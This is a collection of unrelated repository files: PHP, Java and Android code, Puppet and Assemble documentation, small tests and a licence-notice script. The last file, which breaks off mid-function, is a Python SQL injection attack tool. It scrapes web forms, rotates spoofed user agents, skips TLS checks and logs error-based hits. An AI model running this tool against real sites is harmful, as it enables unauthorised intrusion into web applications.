text:
<?php

class Yoast_GA_Dashboards_Display {

	/**
	 * Property for holding instance of itself
	 *
	 * @var Yoast_GA_Dashboards_Display
	 */
	protected static $instance;

	/**
	 * Container for holding the setted dashboards
	 *
	 * @var array
	 */
	protected $dashboards = array();

	/**
	 * @var array The dashboard types which can be used
	 */
	protected $dashboard_types = array( 'graph', 'table' );

	/**
	 * @var array For each dashboard type there will be created a driver that will be stored in this property
	 */
	protected $drivers = array();

	/**
	 * For the use of singleton pattern. Create instance of itself and return his instance
	 *
	 * @return Yoast_GA_Dasboards_Graph
	 */
	public static function get_instance() {

		if ( is_null( self::$instance ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Protected constructor to prevent creating a new instance of the
	 * *Singleton* via the `new` operator from outside of this class.
	 */
	protected function __construct() {
		foreach ( $this->dashboard_types AS $dashboard_type ) {
			if ( ! $this->driver_exists( $dashboard_type ) ) {
				$this->create_driver( $dashboard_type );
			}
		}
	}

	/**
	 * Get the driver from property, this->drivers
	 *
	 * If driver doesn't exist, it will be created first
	 *
	 * @param string $dashboard_type - The name of the driver that will be returned
	 *
	 * @return object
	 */
	private function driver( $dashboard_type ) {

		if ( ! $this->driver_exists( $dashboard_type ) ) {
			$this->create_driver( $dashboard_type );
		}

		return $this->drivers[$dashboard_type];
	}

	/**
	 * Adding dashboards to $this->dashboard en register them to the driver by $this->register
	 *
	 * @param array $dashboards
	 */
	public function add_dashboards( $dashboards ) {
		// Save all dashboards to property - for future use
		$this->dashboards = array_merge( $this->dashboards, $dashboards );

		$this->register( $dashboards );
	}

	/**
	 * Register dashboards to the drivers
	 *
	 * @param array $dashboards
	 */
	private function register( $dashboards ) {
		foreach ( $dashboards AS $dashboard_name => $dashboard_settings ) {
			if ( ! empty( $dashboard_settings['type'] ) ) {
				$this->driver( $dashboard_settings['type'] )->register( $dashboard_name, $dashboard_settings );
			}
		}
	}

	/**
	 * Displaying the $dashboards on the screen. If $dashboards isn't given it will display all registered
	 * dashboards
	 *
	 * @param string $tab_to_show
	 */
	public function display( $tab_to_show ) {

		$dashboards_to_show = $this->dashboards;

		foreach ( $dashboards_to_show AS $dashboard_name => $dashboard_settings ) {
			if ( ! empty( $dashboard_settings['tab'] ) && $dashboard_settings['tab'] === $tab_to_show ) {
				$this->driver( $dashboard_settings['type'] )->display( $dashboard_name );
			}
		}
	}

	/**
	 * Check if given $dashboard_type exists and if it's an object
	 *
	 * @param string $dashboard_type
	 *
	 * @return bool
	 */
	protected function driver_exists( $dashboard_type ) {
		return array_key_exists( $dashboard_type, $this->drivers ) && is_object( $this->drivers[$dashboard_type] );
	}

	/**
	 * Creates a driver based on given $dashboard_type
	 *
	 * @param $dashboard_type
	 */
	protected function create_driver( $dashboard_type ) {
		$driver_class                   = 'Yoast_GA_Dashboards_' . ucfirst( $dashboard_type );
		$this->drivers[$dashboard_type] = new $driver_class();
	}

}


text:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout android:layout_height="match_parent"
    android:layout_width="match_parent"
    android:background="@color/colorPrimaryLight"
    android:padding="@dimen/global_padding"
    android:orientation="vertical"
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:aw="http://schemas.android.com/apk/res-auto">

    <RelativeLayout
        android:layout_width="match_parent"
        android:layout_height="0dp"
        android:layout_weight="1">

        <com.puercos.puercos.components.timerView.TimerView
            android:id="@+id/accelerometer_record_screen_timer"
            android:layout_centerInParent="true"
            android:layout_width="180dp"
            android:layout_height="180dp"/>

        <TextView
            android:id="@+id/accelerometer_record_screen_txt_remaining_time"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerInParent="true"
            android:text="6"
            android:textColor="@color/colorWhite"
            android:textSize="45dp"/>

    </RelativeLayout>

</LinearLayout>

redpajama_set_name: RedPajamaGithub


text:
> Using helpers in templates

## Overview

- Helpers are stored on the `assemble.options` object.
- Helpers can be defined and used in any way you need in your projects.
- Assemble uses the same API to set [default options][built-in options] for some of assemble's built-in features, such as `layout` and `layoutdir`. Defaults can easily be changed, disabled or overridden.

## What are helpers?

Helpers are just regular javascript functions that can be used in templates. Helpers are used to inject or transform data or content.

**Example**

We could use an `uppercase` helper to make the `title` of a page uppercase.

```handlebars
This is the {{uppercase title}} page
```

Assemble makes it easy to author and use custom template helpers, regardless of the engine being used. As long as the engine supports the use of helper functions, assemble should be able to register the helpers.

### Registering helpers

The uppercase helper in this example is just a function that is registered as a helper with assemble:

```js
assemble.helper('uppercase', function(str) {
  return str.toUpperCase();
});
```

If you're planning on authoring your own helpers, read our [helper recommendations](#helper-recommendations) before you get started.

## Built-in helpers

By default, assemble loads an extensive collection of helpers from [handlebars-helpers]. As long as you're not using a custom engine, any of those helpers can be used in templates without any additional setup.

See the [handlebars-helpers] repo for more information.

## Template-type helpers

Every template type ([page](./pages.md), [partial](./partials.md), [layout](./layouts.md), and any [custom type]) has a convenience helper with the same name as the template type.

For example, the `.partial()` template type has a `partial` helper.

**Example**

Add a partial (template)

```js
assemble.partial('button', '<button>Click me!</button>');
```

Now, add `{{partial "button"}}` to any template where you want the button partial to be inserted. If the template type was `widget` instead of partial, you would use `{{widget "button"}}` instead.

## Helper recommendations

If you're planning to author a helper, here are some suggestions to help you get started:

- **generic**: if the helper doesn't need to have any assemble-specific logic, try to make it generic whenever possible. Ideally, a helper is just be a javascript library that could be used anywhere, not just in templates.
- **publish**: publish the helper so that other developers can use it
- **naming**: don't use an overly generic name for your helper if it might be used in a scenrio where naming conflicts can occur. For example, `content`, `body`, and `partial` would be bad names.

[handlebars-helpers]: https://github.com/assemble/handlebars-helpers


text:
/*
Chirp Java Client
*/

package edu.wisc.cs.condor.chirp;

import java.io.*;
import java.net.*;

/*
XXX XXX XXX
WARNING WARNING WARNING
If you change this file, then you must compile it
and check the .jar file into CVS.  Why?  Because
we can't manage a Java installation on all of our platforms,
but we still want compiled Java code distributed with
all platforms.
*/

/**
A ChirpOutputStream gives a sequential binary interface to a write-only
file. Users that require random-access I/O should see ChirpClient.
Users requiring a character-oriented interface to a Chirp file
should make use of an OutputStreamWriter like so:

OutputStreamWriter in = new OutputStreamWriter(new ChirpOutputStream(filename));

*/

public class ChirpOutputStream extends java.io.OutputStream {
	private ChirpClient client;
	private String path;
	private int fd;

	private void init( String host, int port, String p, boolean append ) throws IOException {
		if(host!=null) {
			client = new ChirpClient(host,port);
		} else {
			client = new ChirpClient();
		}
		path = p;
		if(append) {
			fd = client.open(path,"wac",0777);
		} else {
			fd = client.open(path,"wtc",0777);
		}
	}

	/**
	Create a new output stream attached to the named file.
	Use the Chirp server implicitly defined by the environment.
	@param p The file name.
	@throws IOException
	*/

	public ChirpOutputStream( String p ) throws IOException {
		init(null,0,p,false);
	}

	/**
	Create a new output stream attached to the named file.
	Use the Chirp server implicitly defined by the environment.
	@param p The file name.
	@param append

 If true - Open file for appending, fail if it does not exist.

 If false - Create and truncate file for writing.

	@throws IOException
	*/

	public ChirpOutputStream( String p, boolean append ) throws IOException {
		init(null,0,p,append);
	}

	/**
	Create a new output stream attached to the named file.
	Use the named Chirp server host and port.
	@param host The server name.
	@param port The server port number.
	@param p The file name.
	@param append

 If true - Open or create file for appending.

 If false - Create and truncate file for writing.

	@throws IOException
	*/

	public ChirpOutputStream( String host, int port, String p, boolean append ) throws IOException {
		init(host,port,p,false);
	}

	/**
	Write bytes to the stream.
	@param buffer The buffer to write.
	@param pos The starting position in the buffer.
	@param length The number of bytes to write.
	@returns The number of bytes actually written.
	@throws IOException
	*/

	public void write( byte [] buffer, int pos, int length ) throws IOException {
		while( length>0 ) {
			int actual = client.write(fd,buffer,pos,length);
			length -= actual;
			pos += actual;
		}
	}

	/**
	Write bytes to the stream.
	@param buffer The buffer to write.
	@returns The number of bytes actually written.
	@throws IOException
	*/

	public void write( byte [] buffer ) throws IOException {
		write(buffer,0,buffer.length);
	}

	/**
	Write one byte to the stream.
	@throws IOException
	*/

	public void write( int b ) throws IOException {
		byte [] temp = new byte[1];
		temp[0] = (byte)b;
		write(temp,0,1);
	}

	/**
	Complete access to this file.
	@throws IOException
	*/

	public void close() throws IOException {
		client.close(fd);
	}

	/**
	Flushes any remaining buffered data.
	*/

	public void flush() {
	}

	/**
	Forces all uncommitted data to stable storage.
	*/

	public void fsync( int fd ) throws IOException {
		client.fsync(fd);
	}
}


text:
So you want to contribute to a Puppet module: Great! Below are some instructions to get you started doing
that very thing while setting expectations around code quality as well as a few tips for making the
process as easy as possible.

### Table of Contents

1. [Getting Started](#getting-started)
1. [Commit Checklist](#commit-checklist)
1. [Submission](#submission)
1. [More about commits](#more-about-commits)
1. [Testing](#testing)
    - [Running Tests](#running-tests)
    - [Writing Tests](#writing-tests)
1. [Get Help](#get-help)

## Getting Started

- Fork the module repository on GitHub and clone to your workspace

- Make your changes!

## Commit Checklist

### The Basics

- [x] my commit is a single logical unit of work

- [x] I have checked for unnecessary whitespace with "git diff --check"

- [x] my commit does not include commented out code or unneeded files

### The Content

- [x] my commit includes tests for the bug I fixed or feature I added

- [x] my commit includes appropriate documentation changes if it is introducing a new feature or changing existing functionality

- [x] my code passes existing test suites

### The Commit Message

- [x] the first line of my commit message includes:

  - [x] an issue number (if applicable), e.g. "(MODULES-xxxx) This is the first line"

  - [x] a short description (50 characters is the soft limit, excluding ticket number(s))

- [x] the body of my commit message:

  - [x] is meaningful

  - [x] uses the imperative, present tense: "change", not "changed" or "changes"

  - [x] includes motivation for the change, and contrasts its implementation with the previous behavior

## Submission

### Pre-requisites

- Make sure you have a [GitHub account](https://github.com/join)

- [Create a ticket](https://tickets.puppet.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppet.com/browse/) you are patching for.

### Push and PR

- Push your changes to your fork

- [Open a Pull Request](https://help.github.com/articles/creating-a-pull-request-from-a-fork/) against the repository in the puppetlabs organization

## More about commits

  1.  Make separate commits for logically separate changes.

      Please break your commits down into logically consistent units
      which include new or changed tests relevant to the rest of the
      change.  The goal of doing this is to make the diff easier to
      read for whoever is reviewing your code.  In general, the easier
      your diff is to read, the more likely someone will be happy to
      review it and get it into the code base.

      If you are going to refactor a piece of code, please do so as a
      separate commit from your feature or bug fix changes.

      We also really appreciate changes that include tests to make
      sure the bug is not re-introduced, and that the feature is not
      accidentally broken.

      Describe the technical detail of the change(s).  If your
      description starts to get too long, that is a good sign that you
      probably need to split up your commit into more finely grained
      pieces.

      Commits which plainly describe the things which help
      reviewers check the patch and future developers understand the
      code are much more likely to be merged in with a minimum of
      bike-shedding or requested changes.  Ideally, the commit message
      would include information, and be in a form suitable for
      inclusion in the release notes for the version of Puppet that
      includes them.

      Please also check that you are not introducing any trailing
      whitespace or other "whitespace errors".  You can do this by
      running "git diff --check" on your changes before you commit.

  2.  Sending your patches

      To submit your changes via a GitHub pull request, we _highly_
      recommend that you have them on a topic branch, instead of
      directly on "master".
      It makes things much easier to keep track of, especially if
      you decide to work on another thing before your first change
      is merged in.

      GitHub has some pretty good
      [general documentation](http://help.github.com/) on using
      their site.  They also have documentation on
      [creating pull requests](https://help.github.com/articles/creating-a-pull-request-from-a-fork/).

      In general, after pushing your topic branch up to your
      repository on GitHub, you can switch to the branch in the
      GitHub UI and click "Pull Request" towards the top of the page
      in order to open a pull request.

  3.  Update the related JIRA issue.

      If there is a JIRA issue associated with the change you
      submitted, then you should update the ticket to include the
      location of your branch, along with any other commentary you
      may wish to make.

# Testing

## Getting Started

Our Puppet modules provide [`Gemfile`](./Gemfile)s, which can tell a Ruby package manager such as [bundler](http://bundler.io/) what Ruby packages,
or Gems, are required to build, develop, and test this software.

Please make sure you have [bundler installed](http://bundler.io/#getting-started) on your system, and then use it to
install all dependencies needed for this project in the project root by running

```shell
% bundle install --path .bundle/gems
Fetching gem metadata from https://rubygems.org/........
Fetching gem metadata from https://rubygems.org/..
Using rake (10.1.0)
Using builder (3.2.2)
-- 8><-- many more --><8 --
Using rspec-system-puppet (2.2.0)
Using serverspec (0.6.3)
Using rspec-system-serverspec (1.0.0)
Using bundler (1.3.5)
Your bundle is complete!
Use `bundle show [gemname]` to see where a bundled gem is installed.
```

NOTE: some systems may require you to run this command with sudo.

If you already have those gems installed, make sure they are up-to-date:

```shell
% bundle update
```

## Running Tests

With all dependencies in place and up-to-date, run the tests:

### Unit Tests

```shell
% bundle exec rake spec
```

This executes all the [rspec tests](http://rspec-puppet.com/) in the directories defined [here](https://github.com/puppetlabs/puppetlabs_spec_helper/blob/699d9fbca1d2489bff1736bb254bb7b7edb32c74/lib/puppetlabs_spec_helper/rake_tasks.rb#L17) and so on.
rspec tests may have the same kind of dependencies as the module they are testing. Although the module defines these dependencies in its [metadata.json](./metadata.json),
rspec tests define them in [.fixtures.yml](./fixtures.yml).

### Acceptance Tests

Some Puppet modules also come with acceptance tests, which use [beaker][]. These tests spin up a virtual machine under
[VirtualBox](https://www.virtualbox.org/), controlled with [Vagrant](http://www.vagrantup.com/), to simulate scripted test
scenarios. In order to run these, you need both Virtualbox and Vagrant installed on your system.

Run the tests by issuing the following command

```shell
% bundle exec rake spec_clean
% bundle exec rspec spec/acceptance
```

This will now download a pre-fabricated image configured in the [default node-set](./spec/acceptance/nodesets/default.yml),
install Puppet, copy this module, and install its dependencies per [spec/spec_helper_acceptance.rb](./spec/spec_helper_acceptance.rb)
and then run all the tests under [spec/acceptance](./spec/acceptance).

## Writing Tests

### Unit Tests

When writing unit tests for Puppet, [rspec-puppet][] is your best friend. It provides tons of helper methods for testing your manifests against a
catalog (e.g. contain_file, contain_package, with_params, etc). It would be ridiculous to try and top rspec-puppet's [documentation][rspec-puppet_docs]
but here's a tiny sample:

Sample manifest:

```puppet
file { "a test file":
  ensure => present,
  path   => "/etc/sample",
}
```

Sample test:

```ruby
it 'does a thing' do
  expect(subject).to contain_file("a test file").with({:path => "/etc/sample"})
end
```

### Acceptance Tests

Writing acceptance tests for Puppet involves [beaker][] and its cousin [beaker-rspec][]. A common pattern for acceptance tests is to create a test manifest, apply it
twice to check for idempotency or errors, then run expectations.

```ruby
it 'does an end-to-end thing' do
  pp = <<-EOF
    file { 'a test file':
      ensure  => present,
      path    => "/etc/sample",
      content => "test string",
    }

  apply_manifest(pp, :catch_failures => true)
  apply_manifest(pp, :catch_changes => true)

end

describe file("/etc/sample") do
  it { is_expected.to contain "test string" }
end

```

# If you have commit access to the repository

Even if you have commit access to the repository, you still need to go through the process above, and have someone else review and merge
in your changes.  The rule is that **all changes must be reviewed by a project developer that did not write the code to ensure that
all changes go through a code review process.**

The record of someone performing the merge is the record that they performed the code review. Again, this should be someone other than the author of the topic branch.

# Get Help

### On the web
* [Puppet help messageboard](http://puppet.com/community/get-help)
* [Writing tests](https://docs.puppet.com/guides/module_guides/bgtm.html#step-three-module-testing)
* [General GitHub documentation](http://help.github.com/)
* [GitHub pull request documentation](http://help.github.com/send-pull-requests/)

### On chat
* Slack (slack.puppet.com) #forge-modules, #puppet-dev, #windows, #voxpupuli
* IRC (freenode) #puppet-dev, #voxpupuli

[rspec-puppet]: http://rspec-puppet.com/
[rspec-puppet_docs]: http://rspec-puppet.com/documentation/
[beaker]: https://github.com/puppetlabs/beaker
[beaker-rspec]: https://github.com/puppetlabs/beaker-rspec


text:
package org.daisy.pipeline.nlp.breakdetect.calabash.impl;

import java.util.List;
import java.util.Locale;

import net.sf.saxon.s9api.XdmNode;

import org.daisy.pipeline.nlp.lexing.LexService.LexerInitException;

public interface InlineSectionProcessor {

	public class Leaf {
		public XdmNode formatting;
		public int level;
	}

	/**
	 * Called when a new inline section has been detected.
	 *
	 * Guaranteed to be called in document order.
	 *
	 * The provided lists are not guaranteed to be different for each call (they
	 * might be recycled).
	 *
	 * A text element can be null. A formatting element can be null as well
	 * (when punctuation marks have been inserted into the text to help the
	 * lexer)
	 *
	 * @throws LexerInitException
	 */

	public void onInlineSectionFound(List<Leaf> leaves, List<String> text, Locale lang)
	        throws LexerInitException;

	public void onEmptySectionFound(List<Leaf> leaves);
}


text:
package ece4564.ridesharevt;

import android.app.Activity;
import android.app.AlertDialog;
import android.app.Dialog;
import android.content.Intent;
import android.content.IntentSender;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.GooglePlayServicesUtil;
import com.google.android.gms.common.SignInButton;
import com.google.android.gms.plus.PlusClient;

public class Login extends Activity implements OnClickListener,
        PlusClient.ConnectionCallbacks, PlusClient.OnConnectionFailedListener,
        PlusClient.OnAccessRevokedListener {

    private static final int DIALOG_GET_GOOGLE_PLAY_SERVICES = 1;

    private static final int REQUEST_CODE_SIGN_IN = 1;
    private static final int REQUEST_CODE_GET_GOOGLE_PLAY_SERVICES = 2;

    private TextView mSignInStatus;
    private PlusClient mPlusClient;
    private SignInButton mSignInButton;
    private View mSignOutButton;
    private ConnectionResult mConnectionResult;
    private Button buttonStart;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.driver_main);

        mPlusClient = new PlusClient.Builder(this, this, this)
                .setActions("http://schemas.google.com/AddActivity")
                .build();

        mSignInStatus = (TextView) findViewById(R.id.sign_in_status);
        mSignInButton = (SignInButton) findViewById(R.id.sign_in_button);
        mSignInButton.setOnClickListener(this);
        mSignOutButton = findViewById(R.id.sign_out_button);
        mSignOutButton.setOnClickListener(this);
        buttonStart = (Button) findViewById(R.id.startButton);
        buttonStart.setOnClickListener(this);

    }

    @Override
    public void onStart() {
        super.onStart();
        mPlusClient.connect();
    }

    @Override
    public void onStop() {
        mPlusClient.disconnect();
        super.onStop();
    }

    @Override
    public void onClick(View view) {
        switch (view.getId()) {
            case R.id.sign_in_button:
                int available = GooglePlayServicesUtil.isGooglePlayServicesAvailable(this);
                if (available != ConnectionResult.SUCCESS) {
                    Toast.makeText(this, " cant Log in", Toast.LENGTH_LONG).show();
                    showDialog(DIALOG_GET_GOOGLE_PLAY_SERVICES);
                    return;
                }

                try {
                    mSignInStatus.setText(getString(R.string.signing_in_status));
                    mConnectionResult.startResolutionForResult(this, REQUEST_CODE_SIGN_IN);
                } catch (IntentSender.SendIntentException e) {
                    // Fetch a new result to start.
                    mPlusClient.connect();

                }
                break;
            case R.id.sign_out_button:
                if (mPlusClient.isConnected()) {
                    mPlusClient.clearDefaultAccount();
                    mPlusClient.disconnect();
                    mPlusClient.connect();
                }
                break;

            case R.id.startButton:
                if (mPlusClient.isConnected()) {
                    String currentPersonName = mPlusClient.getCurrentPerson() != null
                            ? mPlusClient.getCurrentPerson().getDisplayName()
                            : getString(R.string.unknown_person);
                    String email = mPlusClient.getAccountName();
                    Intent i = new Intent(Login.this, MainActivity.class);
                    SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
                    prefs.edit()
                            .putString("name", currentPersonName)
                            .putString("email", email)
                            .commit();
                    startActivity(i);
                    finish();
                }
                break;
        }
    }

    @Override
    protected Dialog onCreateDialog(int id) {
        if (id != DIALOG_GET_GOOGLE_PLAY_SERVICES) {
            return super.onCreateDialog(id);
        }

        int available = GooglePlayServicesUtil.isGooglePlayServicesAvailable(this);
        if (available == ConnectionResult.SUCCESS) {
            return null;
        }
        if (GooglePlayServicesUtil.isUserRecoverableError(available)) {
            return GooglePlayServicesUtil.getErrorDialog(
                    available, this, REQUEST_CODE_GET_GOOGLE_PLAY_SERVICES);
        }
        return new AlertDialog.Builder(this)
                .setMessage(R.string.plus_generic_error)
                .setCancelable(true)
                .create();
    }

    @Override
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        if (requestCode == REQUEST_CODE_SIGN_IN
                || requestCode == REQUEST_CODE_GET_GOOGLE_PLAY_SERVICES) {
            if (resultCode == RESULT_OK && !mPlusClient.isConnected()
                    && !mPlusClient.isConnecting()) {
                // This time, connect should succeed.
                mPlusClient.connect();
            }
        }
    }

    @Override
    public void onConnected(Bundle connectionHint) {
        String currentPersonName = mPlusClient.getCurrentPerson() != null
                ? mPlusClient.getCurrentPerson().getDisplayName()
                : getString(R.string.unknown_person);
        mSignInStatus.setText(getString(R.string.signed_in_status, currentPersonName));
        updateButtons(true /* isSignedIn */);
        String email = mPlusClient.getAccountName();
        String vtemail = "vt.edu";
        mSignInStatus.setText(email);
        if (!email.toLowerCase().trim().contains(vtemail.toLowerCase().trim())) {
            mPlusClient.clearDefaultAccount();
            mPlusClient.disconnect();
            mPlusClient.connect();
            Toast.makeText(this, "NOT VT EMAIL", Toast.LENGTH_LONG).show();
        }
        if (mPlusClient.isConnected()) {

            Intent i = new Intent(Login.this, MainActivity.class);
            SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
            prefs.edit()
                    .putString("name", currentPersonName)
                    .putString("email", email)
                    .commit();
            startActivity(i);
            finish();
        }

    }

    @Override
    public void onDisconnected() {
        mSignInStatus.setText(R.string.loading_status);
        mPlusClient.connect();
        updateButtons(false /* isSignedIn */);
    }

    @Override
    public void onConnectionFailed(ConnectionResult result) {
        mConnectionResult = result;
        updateButtons(false /* isSignedIn */);
    }

    private void updateButtons(boolean isSignedIn) {
        if (isSignedIn) {
            mSignInButton.setVisibility(View.INVISIBLE);
            mSignOutButton.setEnabled(true);
        } else {
            if (mConnectionResult == null) {
                // Disable the sign-in button until onConnectionFailed is called with result.
                mSignInButton.setVisibility(View.INVISIBLE);
                mSignInStatus.setText(getString(R.string.loading_status));
            } else {
                // Enable the sign-in button since a connection result is available.
                mSignInButton.setVisibility(View.VISIBLE);
                mSignInStatus.setText(getString(R.string.signed_out_status));
            }

            mSignOutButton.setEnabled(false);
        }
    }

    @Override
    public void onAccessRevoked(ConnectionResult status) {
        // TODO Auto-generated method stub

    }
}


text:
package core.plugin.spring;

import org.junit.Test;

public class GlobalExceptionHandlerTest {

    @Test
    public void test() {
    }

}


text:
from twisted.trial import unittest

from axiom.store import Store
from axiom.tags import Catalog

from axiom.item import Item
from axiom.attributes import text

class Gizmo(Item):
    typeName = 'test_gizmo'
    schemaVersion = 1
    name = text()

class TagTestCase(unittest.TestCase):

    def testTagging(self):
        s = Store()
        c = Catalog(store=s)
        g1 = Gizmo(store=s, name='one')
        g2 = Gizmo(store=s, name='two')

        c.tag(g1, 'single')
        c.tag(g1, 'multi')
        c.tag(g2, 'multi')
        c.tag(g1, 'multi')

        self.assertEqual(list(c.tagsOf(g1)),
                          ['single', 'multi'])
        self.assertEqual(list(c.tagsOf(g2)),
                          ['multi'])

        self.assertEqual(list(c.objectsIn('single')), [g1])
        self.assertEqual(list(c.objectsIn('multi')), [g1, g2])


text:
var docname = window.location.pathname.split('/').reverse(),
	titleText = 'OSS Notice | ' + docname[1].split('-').shift('') + ' for ' + docname[1].split('-').pop(''),
	noticeText = '
This application is Copyright © 2015, daumkakao corp. All Rights Reserved.

This application use Open Source Software (OSS). You can find the source code of these open source projects, along with applicable license information, below. We are deeply grateful to these developers for their work and contributions.

Any questions about our use of licensed work can be sent to oss@daumkakao.com
';
$(function() {
	$('title, #title').text(titleText);
	$('#notice').html(noticeText);
	$('#title').append(' <input id="createHtml" type="button" onclick="downloadDocument();" value="Create .html">');
});
function downloadDocument() {
	$('#title input').remove();
	$.get('../lib/legal.css', function(data) {
		var headers = '<!doctype html><meta charset="utf-8"><meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"/><title>' + titleText +'</title>',
		bodys = '' + $('body').html().replace(/\n/g, '') + '',
		base64doc = btoa(unescape(encodeURIComponent(headers + bodys))),
		a = document.createElement('a'),
		e = document.createEvent("HTMLEvents");
	a.download = 'oss_notice.html'; a.href = 'data:text/html;base64,' + base64doc; e.initEvent('click'); a.dispatchEvent(e);
	});
};
Papa.parse('data.csv', {
	download: true,
	header: true,
	skipEmptyLines: true,
	complete: function(results) {
		var items = [],
			arr = [];
		$.each(results.data, function(key, val) {
			items.push('
' + val.oss + '
');
			if (!$.isEmptyObject(val.component)) { items.push('
' + val.component.replace(/\n/g, "
") + '
');};
			items.push('
' + val.url + '
');
			if (!$.isEmptyObject(val.copyright)) {
				items.push('
Copyright  © ' + val.copyright.replace(/\n/g, "
Copyright  © ")  + '
')
			};
			if ((val.license.match(/\n/g)||[]).length == 0) {
				if (val.license != 'Public Domain') {
					items.push('
' + val.license + '
');
					if ($.inArray(val.license, arr) == -1) { arr.push(val.license); };
				} else {items.push('
' + val.license + '
');};
			} else if ((val.license.match(/\n/g)||[]).length > 0) {
				var sepLicense = val.license.split('\n'),
					licenseclass = '
';
				$.each(sepLicense, function(i) {
					licenseclass = licenseclass + '' + sepLicense[i] + '';
					if (Object.keys(sepLicense).length-1 > i ) { licenseclass = licenseclass + ' , '; }
					if ($.inArray(sepLicense[i], arr) == -1) { arr.push(sepLicense[i]); }
				});
				licenseclass = licenseclass + '
';
				items.push(licenseclass);
			};
		});
		$.getJSON('../lib/licensemap.json', function(lmap) {
			$.each(arr, function(i, val) {
				if(!$.isEmptyObject(lmap[val])) {
					$.get("../license/" + encodeURI(lmap[val]) + ".txt", function( data ) {
						var addh1 = "# " + val + "\n\n" + data;
						$("
").appendTo("#licenses").html(mmd(addh1));
					})
				} else if (!$.isEmptyObject(val)) {
					$.get("../license/" + encodeURI(val) + ".txt", function( data ) {
						var addh1 = "# " + val + "\n\n" + data;
						$("
").appendTo("#licenses").html(mmd(addh1));
					})
				}
				console.log(val, ":",  lmap[val]);
			})
		});
		$('
', {
			html: items
		}).appendTo($('#oss'));
	}
});


text:
import mechanize
import requests
import random
import sqlite3
import sys
from urlparse import urlparse
from urlparse import parse_qs
from urlparse import urlunsplit
import timeit
import argparse
import os

user_agents = ["Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", \
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36", \
                "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", \
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", \
                "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", \
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", \
                "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))", \
                "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)"
                ]

def dictToQuery(d):
    query = ""
    for key in d.keys():
        query += str(key) + "=" + str(d[key]) + "&"
    return query[:-1]

# make parameters from html form
def make_parameters(url):

    br = mechanize.Browser()

    if cookie is None:
        br.addheaders = [('User-agent', random.choice(user_agents))]

    else:
        br.addheaders = [('User-agent', random.choice(user_agents)),\
                         ("Cookie", cookie)]

    br.set_handle_equiv(True)
    br.set_handle_referer(True)
    br.set_handle_robots(False)

    try:
        br.open(url)

    except Exception as e:
        return False

    method = ""
    action = ""
    result = []

    try:
        forms = [f for f in br.forms()]

    except Exception as e:
        return False

    if forms == []:
        return False

    for form in forms:
        try:
            method = form.method
        except:
            method = "GET"

        try:
            action = form.action

        except Exception as e:
            print e

        payloads = {}
        method = form.method
        action = form.action

        value_number = len(form.controls)

        for value in range(value_number):
            try:
                name = str(form.controls[value].name)
            except:
                name = ""
            try:
                value = str(form.controls[value].value)
            except:
                value = ""

            payloads[name] = value
        result.append([payloads, method, action])

    return result

def save_data(method, case, url, payloads, res):

    #error based check
    res_contents = res.content

    for error_string in error_strings:
        if res_contents.find(error_string) != -1:
            print error_string
            f = open("sqli_error_based.csv", "a+")

            if payloads:
                f.write(urlparse(url)[1] + "," + method + "," + case + ","  + str(payloads) + "," + "error based" + "\n")
                f.close()
                print url

            else:
                f.write(urlparse(url)[1] + "," + method + "," + case + "," + url + "," + "error based" + "\n")
                f.close()
                print url

def web_request(payloads, method, action, case):

    url_scheme = urlparse(action)[0]
    url_location = urlparse(action)[1]

    action = urlunsplit((url_scheme, url_location, "", "", ""))

    if method == "GET" and case == "case1":

        try:

            if cookie is None:

                try:
                    res = requests.get(action, timeout = 1, \
                                       headers = {"User-Agent" : random.choice(user_agents)},\
                                       verify = False,\
                                       params = payloads)

                    save_data(method, case, str(res.url), None, res)

                except (KeyboardInterrupt, SystemExit):

                    cur.close()
                    end_time = timeit.default_timer()

                    print "*" * 120
                    print "you send requests %s times" % (req_cnt - f_req_cnt)
                    print '\nsql injection attack\'s stage 2 is suddenly done: ', end_time - start_time
                    print "*" * 120

                    sys.exit(0)

                except Exception as e:
                    print e
                    pass

                else:
                    pass

            else:

                try:
                    res = requests.get(action, timeout = 1,\
                                       headers = {"User-Agent" : random.choice(user_agents),\
                                                  "Cookie" : cookie},\
                                       verify = False,\
                                       params = payloads)

                    save_data(method, case, str(res.url), None, res)

                except (KeyboardInterrupt, SystemExit):

                    cur.close()
                    end_time = timeit.default_timer()

                    print "*" * 120
                    print "you send requests %s times" % (req_cnt - f_req_cnt)
                    print '\nsql injection attack\'s stage 2 is suddenly done: ', end_time - start_time
                    print "*" * 120

                    sys.exit(0)

                except Exception as e:
                    pass

                else:
                    pass

        except Exception as e:
            print action
            print e

    elif method == "GET" and case == "case20":
        try:

            if cookie is None:

                try:
                    res = requests.get(action, timeout = 1, \
                                       headers = {"User-Agent" : random.choice(user_agents)},\
                                       params = payloads,\
                                       verify = False)

                    save_data(method, case, str(res.url), None, res)

